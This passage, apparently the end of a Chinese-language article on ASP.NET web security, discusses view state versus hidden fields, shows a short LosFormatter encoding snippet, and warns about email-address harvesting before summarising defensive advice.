如圖 2 所示,視圖狀態(tài)被附加了一個(gè)哈希值,對(duì)于每條請(qǐng)求,都會(huì)檢查該值,以檢測是否發(fā)生了篡改。除少數(shù)幾種情況外,沒有任何理由要在 ASP.NET 中使用隱藏域。視圖狀態(tài)能夠以安全得多的方式實(shí)現(xiàn)相同的功能。前面開門見山地講到過,在明文的隱藏域中存儲(chǔ)敏感的值(如價(jià)格或信用卡詳細(xì)信息),相當(dāng)于對(duì)黑客張開大門;視圖狀態(tài)甚至能夠使這種不好的做法比以前更為安全,因?yàn)橐晥D狀態(tài)具有數(shù)據(jù)保護(hù)機(jī)制。但是,請(qǐng)牢記,視圖狀態(tài)可以防止篡改,但是并不能保證保密性,除非使用加密 — 存儲(chǔ)在視圖狀態(tài)中的信用卡詳細(xì)信息無論如何都有風(fēng)險(xiǎn)。
在 ASP.NET 中,哪些情況下使用隱藏域是可接受的?當(dāng)您生成需要將數(shù)據(jù)發(fā)送回服務(wù)器的自定義控件時(shí)。例如,假定您要?jiǎng)?chuàng)建一個(gè)支持重派列順序的新 DataGrid 控件。您需要在回發(fā)中將新的順序發(fā)送回服務(wù)器。如果不將這些信息存儲(chǔ)到隱藏域中,又可以存儲(chǔ)到哪里?
如果隱藏域?yàn)樽x/寫域,即預(yù)期客戶端會(huì)寫入它,沒什么辦法能夠完全制止黑客攻擊。您可以嘗試哈希或者加密該文本,但這并不能讓您合理地確信不會(huì)遭受黑客攻擊。此時(shí),最好的防御就是讓隱藏域包含惰性和無害的信息。
此外,應(yīng)當(dāng)注意 ASP.NET 公開了一個(gè)鮮為人知的類,可用于編碼和哈希任何序列化的對(duì)象.該類為 LosFormatter,ViewState 實(shí)現(xiàn)用于創(chuàng)建回程到客戶端的編碼文本正是同一個(gè)類。
private string EncodeText(string text) { StringWriter writer = new StringWriter(); LosFormatter formatter = new LosFormatter(); formatter.Serialize(writer, text); return writer.ToString(); } |
前面的代碼片段演示了如何使用 LosFormatter 來創(chuàng)建類似視圖狀態(tài)的內(nèi)容,對(duì)其編碼并進(jìn)行哈希。
電子郵件和垃圾郵件
在本文結(jié)尾,請(qǐng)讓我指出,最常見的攻擊中至少有兩種(經(jīng)典的 XSS 和一次單擊)通常是通過誘使不抱懷疑的受害者單擊誘惑性和欺騙性的鏈接來發(fā)起的。很多時(shí)候我們都可以在自己的收件箱中發(fā)現(xiàn)這樣的鏈接,雖然有反垃圾郵件過濾器。幾美元就可以買到大量電子郵件地址。用來生成這種列表的其中一種主要的技巧就是掃描 Web 站點(diǎn)上的公共頁,查找并獲取所有看上去像電子郵件的內(nèi)容。
如果頁上顯示了電子郵件地址,很可能或早或晚這個(gè)地址都會(huì)被自動(dòng) Web 程序捕獲。真的嗎?當(dāng)然,這要看該電子郵件是如何顯示的。如果硬編碼它,您輸定了。如果采用其他表示形式(如 dino-at-microsoft-dot-com),是否能夠騙過自動(dòng) Web 程序不太清楚,但能讓所有閱讀您的頁并想建立合法聯(lián)系的人光火,倒是一定的。
總體說來,您應(yīng)當(dāng)確定一種方法,將電子郵件動(dòng)態(tài)地生成為 mailto 鏈接。Marco Bellinaso 編寫的一個(gè)免費(fèi)組件恰好可以完成這項(xiàng)工作。您可以從 DotNet2TheMax Web 站點(diǎn)獲得該組件的全部源代碼。
小結(jié)
有人懷疑 Web 可能是所有運(yùn)行時(shí)環(huán)境中敵意最盛的嗎?根源在于誰都可以訪問 Web 站點(diǎn),并嘗試向它傳遞好的或壞的數(shù)據(jù)。但是,創(chuàng)建不接受用戶輸入的 Web 應(yīng)用程序,又有什么意義呢?
我們還是直面現(xiàn)實(shí)吧:無論您的防火墻如何強(qiáng)大,無論您如何頻繁地應(yīng)用可用的修補(bǔ)程序,只要您運(yùn)行的 Web 應(yīng)用程序先天包含缺陷,攻擊者遲早都可以通過主通道,也就是端口 80,直接進(jìn)入您的系統(tǒng)的最核心部分。
ASP.NET 應(yīng)用程序與其他 Web 應(yīng)用程序相較,既不更易受攻擊,也不更安全。安全性和漏洞同樣根植于編碼實(shí)踐、實(shí)際經(jīng)驗(yàn)和團(tuán)隊(duì)合作。如果網(wǎng)絡(luò)不安全,那么任何應(yīng)用程序都不安全;類似地,無論網(wǎng)絡(luò)如何安全,管理如何精良,如果應(yīng)用程序存在缺陷,攻擊者總是能夠得手。
ASP.NET 的好處是提供了一些好的工具,只需少量工作,就可以將安全標(biāo)準(zhǔn)提升到可以接受的級(jí)別。當(dāng)然,這并不是 足夠高的級(jí)別。不應(yīng)純粹以來 ASP.NET 的內(nèi)置解決方案,同樣也不應(yīng)忽視它們。盡可能多地了解常見的攻擊。
本文提供了內(nèi)置功能的帶注釋的列表,以及一些有關(guān)攻擊與防御的背景知識(shí)。用來檢測傳出的攻擊的技巧是另一回事,可能需要一篇專門的文章來進(jìn)行介紹。
【編輯推薦】